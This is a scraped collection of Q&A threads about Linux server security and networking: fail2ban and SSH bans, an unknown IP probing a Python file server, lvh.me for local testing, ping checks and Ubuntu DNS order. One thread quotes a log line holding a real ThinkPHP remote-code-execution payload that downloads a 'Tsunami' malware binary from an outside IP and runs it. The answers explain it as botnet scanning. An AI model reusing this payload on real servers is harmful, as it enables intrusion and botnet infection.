Protecting VPS with fail2ban - linux

I have a VPS running ubuntu 20.04 that I'm trying to setup as a SSH server.
On my first try I got overrun by Chinese bots. I deleted everything and started from scratch.
I installed and setup fail2ban, currently on about 2000 banned ip.
I removed root login, setup a new random username, with a 12 char password.
But sometimes when i run netstat -tpna i still get results like this
These are again Chinese ip addresses. These 2 disappeared after a couple of seconds.
Is it something I'm missing here? Are these 2 really connected to my server ? How ?
Or is it just that I don't really understand how netstat works ?
I am indeed planning on removing password login, using just ssh keys, but after I finish setting up the VPS.
Thank you for your help.

On my first try I got overrun by Chinese bots
Regardless of IDS (fail2ban etc) it is always advisable to change port sshd listening on something else (if you don't necessarily bound on 22 for some reason).
i still get results like this ... ESTABLISHED ...
This can basically have 2 major reasons:
this IPs are not (yet) banned due to some missing rule or not fully covered "attack" vector.Did you check the IPs were really banned? See also first answer in wiki :: FAQ.
If there just no finding for this IPs at all in fail2ban.log ([sshd] Found 192.0.2.1), you may also try to set mode = aggressive for the jail. And check whether your fail2ban version or your sshd filter is not too old, e. g. here is actual filter for latest v.0.10. There is no guarantee that this filter would work with your fail2ban version, if you have also v.0.10, but other version (for example latest 0.10.6 vs. 0.10.2 on your side), so be careful updating the filter only.
If they are really banned by fail2ban, it may depend on its banning action (and config of the net-filter and network subsystem). Sometimes it is possible that only the new packets will be rejected or dropped, already established connections are not affected. This don't imply that the intruder is able to continue the attack.
However if the IP is banned (so [sshd] Ban 192.0.2.1 is there), but you always see Already banned for this address in fail2ban.log later (and you see new attempts or even connections from this IP), then your banning action may not work properly (some errors in log after every ban, wrong port are protected, net-filter white-listing rules available, etc).
Are these 2 really connected to my server ? How ?
The connection may remain established (also if the IP got banned) for some time, if it is not dropped (killed) or one of both side does not close it.
As already said it depends.
You can surely add some custom second action killing all the connections from IP (e. g. using tcpkill, killcx, ss or whatever), but it is not needed if you don't see any communication from its side (all packets are rejected, so no new attempts in log and no new connections later from this IP, etc).
Anyway if they disappeared as you said after couple of seconds (I guess firstly going in TIME_WAIT state), then it is a good sign. But better check it with something like:
tail -f /var/log/fail2ban.log /var/log/auth.log | grep sshd
# or for journal:
journalctl -f | grep sshd
so you would see what happens before and after ban of some address (for example whether it remains silent hereafter).

Related

Python 3 http.server - A strange IP address tried to connect my server

Several minutes ago, I ran a python-based server to share a few files with my friend. I disabled the windows firewall so that he could connect and download the files. When someone tries to connect the server, Python shows their IP address and the path they requested.
Someone whom I don't know tried to get my index.php and run wget. I checked their IP address and it seems like they're from Japan. So, how does this person knew my IP address and tried to connect to my computer? I've only shared it with my friend on WhatsApp.
I've done this many times before and this is the first time something like this happens.
61.192.55.32 - - [06/Jan/2019 01:27:16] code 400, message Bad request syntax ("GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.255.25.168/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86' HTTP/1.1")
61.192.55.32 - - [06/Jan/2019 01:27:16] "GET /index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://185.255.25.168/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86' HTTP/1.1" 400 -
There are many people out there running tools like Masscan with custom scripts looking for vulnerable web servers. Most of the time this kind of script are trying to get reverse shells in an attempt to build botnet armies. There are some relates of windows machines connected to internet being hacked before SO finish its installation as well.
This is a pretty common hacking technique. Hackers will scan the internet using seemingly random ip addresses (and happened to pick yours out) and look for open ports (usually common ports like 22, 80 and 443) and run a bunch of common exploits in efforts to gain control over the machine.
Many of the botnet's were created by just attacking random ip addresses hoping that they would have a router with default username and password still set on their router, or with out of date software with known exploits.
In your case it looks like they were hoping that your web server was running a certain combination of PHP software. Your ip address was probably one of thousands that they ran the same query against.
This is why you shouldn't disable your firewall: the average time it takes from going online without protection to someone trying to crack into your system is at best minutes.
Instead, you should find out the IP of your friend, and just allow that single IP. And unless your friend has a static IP address, remove that allow after they're done testing, because someone else could get that address later.

It is safe to use lvh.me instead of localhost for testing?

I wonder whether is safe to use lvh.me instead of localhost when developing locally, since lvh.me must be resolved and the IP may change over time.
The goal of using lvh.me is to be able to handle subdomains, since localhost does not have top level domain.
Unless you are the maintainer of lvh.me, you can not be sure it will not disappear or change its RRs for lvh.me.
You can use localhost.localdomain instead of localhost, by adding the following lines in your hosts file:
127.0.0.1 localhost localhost.localdomain
::1 localhost localhost.localdomain
This is better than using lvh.me because:
you may not always have access to a DNS resolver, when developing
lvm.me does not answer with a local IPv6 address corresponding to your local host, only with the IPv4 address 127.0.0.1
some ISPs DNS resolvers block answers corresponding to private addresses space, for security purpose (to avoid leaking internal informations)
Since you said in a comment that you do not want to update the host file, you have no mean to be sure that lvh.me will always work for your developers. Therefore, to answer your question: it is not safe. You may register a domain for yourself, but as I said before, some resolvers will block answers corresponding to private addresses space.
lvh.me was not resolving to 127.0.0.1 on June 7, 2021. Depending on DNS names you don't control comes with this kind of risk. Although the domain name was reinstated by the end of the day, this answer offers some alternatives to depending on someone else's DNS configurations.
Both Firefox and Google Chrome now treat *.localhost names like localhost. They also do the right thing with port numbers.
To test it yourself, start a local http server listening to port 8000:
python -m http.server 8000
Then try these links
http://example.localhost:8000
http://other.localhost:8000
http://sub.subdomain.localhost:8000
This trick does not help for command line programs. For example, this command will fail to resolve the host:
curl http://example.localhost:8000
Curl itself offers a lot of other tricks that might work for you if you need custom subdomains on the command line. For example, this trick works:
curl --resolve example.localhost:127.0.0.1 \
http://example.localhost:8000
Also worth noting that a similar service is still available.
See https://readme.localtest.me.
One last alternative is to configure your own wildcard CNAME to resolve to 127.0.0.1. For example:
*.my.example.com. 1800 IN CNAME my.example.com.
my.example.com. 1800 IN A 127.0.0.1
No because as of right now http://lvh.me has an expired domain.😬
Services like lvh.me or localtest.me are just DNS services, so the only thing you're publishing to them is the names or the hosts you're using. They could resolve to any IP at any time, but providing you use use them only for local tests with fake data, you'll be safe.
But what if they shut down the service? Again, since you should only use them for local tests, you'll get immediate feedback and can easily go back to using localhost.
Quick fix if you don't want to rewrite your code is to open up hosts file
sudo nano /etc/hosts
paste in (replace yoursubdomain with what subdomain you're calling)
127.0.0.1 yoursubdomain.lvh.me
push ctrl-x
then y
then enter
Then you're good to go
It depends on what you're doing. If it's local development then most the time yes, you can always resolve it if you want to check:
For linux or osx you can run this in terminal:
dig X.nip.io
It should always return 127.0.0.1. So while it's not the "safest" way to do this (because you don't manage the DNS itself), I still use it frequently for some kind of resolving TLD when necessary. Here's some valid reputable sites that are still around:
https://nip.io/
https://sslip.io/
You can just point your browser at myproject.apps.localhost or www.example.net.localhost.

How to ping a server from within form application, then display true/false result?

This is likely a misunderstanding of the fundamentals on my part so any criticism is welcome.
I want to have a button that will check to see if one of our servers is up/down then display the result in a label.
Would it be possible to use ping for this then somehow assign 'true' in a label if there are packets received?
A literal ICMP Ping is probably not what you want here. Servers are often configured to not respond to ping, and what you likely really want is to check if a certain service on the server is running. (If the system is booted, but your service is crashed, you probably don't want to report 'good'.)
I would suggest that you make a connection to the service you're interested in. Best would be if you can make a true connection and talk the proper protocol, but if all you can do is to open a TCP connection, that will at least tell you that the service is running.

Why does my IP address keep ending up in hosts.deny file?

At my organisation we've set up a linux server which runs one of our sites. It's been working fine and I have been able to SSH through into it (using Terminal on OSX) no problem.
As of earlier when I tried to ssh root#123.123.123.123 (not my real IP) I was rejected with: ssh_exchange_identification: Connection closed by remote host
Having a look at the /etc/hosts.deny file I can see: sshd: 123.123.123.123 in the list.
This means the IP which I have been using for months no problem has suddenly appeared in the list. I removed it, and was able to SSH in fine, ONCE, then on my second try I was rejected and looking at the list again, I can see we have been added to the list once more!
I have added our IP to the hosts.allow file, but no luck - still no access.
Why do IP's appear in the hosts.deny file?
How can I stop our IP appearing there?
As mentioned, probably a fail2ban or similar (look for denyhosts too - another popular).
The usual fix is to append your IP address to /etc/hosts.allow
This works for denyhosts at least
You may have a system like fail2ban installed which adds you to the hosts.deny file if you enter your password incorrectly a few times..

Query DNS in Ubuntu

I use two DNS servers a public one (8.8.8.8)
and a local one (192.168.1.20)
In ubuntu, If I wrote both DNSs 192.168.1.20, 8.8.8.8
it will always query the first and until the first is down and then it will start querying the second.
And of course I have to make the local point again to 8.8.8.8
Like this i have almost no problems, I can resolve local addresses and also public ones
but when I'm out of the office that's were all the problems start.
Having the local DNS first makes ubuntu checks for it every single time it needs to resolve.
So I end up switching switching the priority of the DNS every (8.8.8.8, 192.168.1.20) time I change my location.
This is not the case if I was using windows. It somehow sends to both DNSs at once or something of that sort.
Is there a way to avoid changing the DNS for every location?
Ubuntu also must query each server in /etc/resolv.conf if there is no answer from the first server.
Give an output of 'dig google.com' please
You wrote 'until the first is down'...
The system of course will connect other servers ONLY if has no respond from the first one!!
The servers are listed in preferable order
Not an answer but a possible work around.
Are you able to use different network interfaces for each network?
If so you can specify different "dns-nameservers" in the "/etc/network/interfaces" file.

Resources